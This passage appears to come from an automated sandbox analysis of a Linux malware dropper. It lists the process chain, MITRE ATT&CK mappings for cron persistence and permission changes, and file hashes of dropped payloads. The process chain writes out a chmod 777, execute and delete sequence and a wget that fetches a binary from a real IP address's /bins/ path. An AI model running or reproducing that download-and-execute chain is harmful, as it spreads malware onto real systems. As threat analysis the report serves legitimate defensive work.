  chmod 777 vPTWiAbejbhabWvmAJZpRDoYDYD0GeNXLk
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/vPTWiAbejbhabWvmAJZpRDoYDYD0GeNXLk
  ./vPTWiAbejbhabWvmAJZpRDoYDYD0GeNXLk
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm vPTWiAbejbhabWvmAJZpRDoYDYD0GeNXLk
  2⤵
  PID:913
- /usr/bin/wget
  wget http://216.126.231.240/bins/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH
  2⤵
  PID:914

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/Ao2IqlCxnxNaefs9GDORapZH85exENqAr4

Filesize
127KB

MD5
89077b7bd4bcafca7713be43635c4862

SHA1
fc02edb8fba29ea8ee99e6157ef8560334530052

SHA256
78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

SHA512
1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

Download Submit
/tmp/ElERXXxv0oAjzqukHy1e3Zktcd2Ya3KW6f

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/FQzPhQANFQFeZ84bzQy5gM4fDCUL6g5RFK

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/KSIY09tmSBFdM8xOgFZaN6ESzOXJ7nmQK8

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/tmp/Y4AN11xKNimY2VT9yNnEedj6M2jg4cq1Lb

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/ZIVpSCKgDPy3F4108ffmKfay9IWNC4FbFI

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/ZnWRyWDYLfOgFSTospvYS5Ote4ps05Cy7L

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/jzEGeNr589EmXkLx1YvIjtGsERiNdCFCiO

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

Download Submit
/tmp/kcsz25y7FmrOU4pCyKCn2Y0nrr6KfjZatL

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/oaJTbeHQS7Vy6dw4k1E8xwOcuJxQG5KK1m

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/p33qkY1gklk5rgaxEEe52mbg2OzLbdg0oH

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/pm01slsnyZPCqtmU1ocCSDukGRYA4X8Xl2

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/vPTWiAbejbhabWvmAJZpRDoYDYD0GeNXLk

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/wv5HBvWzuaqxb5nc1tkuaVBEZdQRUnQkVZ

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/var/spool/cron/crontabs/tmp.FUePYc

Filesize
210B

MD5
87c731d3f74721c50a7fca076a4027b7

SHA1
9c6f2474fae191d20bd5a82510fb05b059df575d

SHA256
687a6c2c58b9b0588ba9738c8a5a3e99c04d76c53e45d069760715f064998d18

SHA512
7ebf02f15edb9165c79d516eddd58ffe591503423d238464531f586b8a215e0e73e81070ed8fbd37e017283af303897b35f927085d961047b3280a87a8075b9c

Download Submit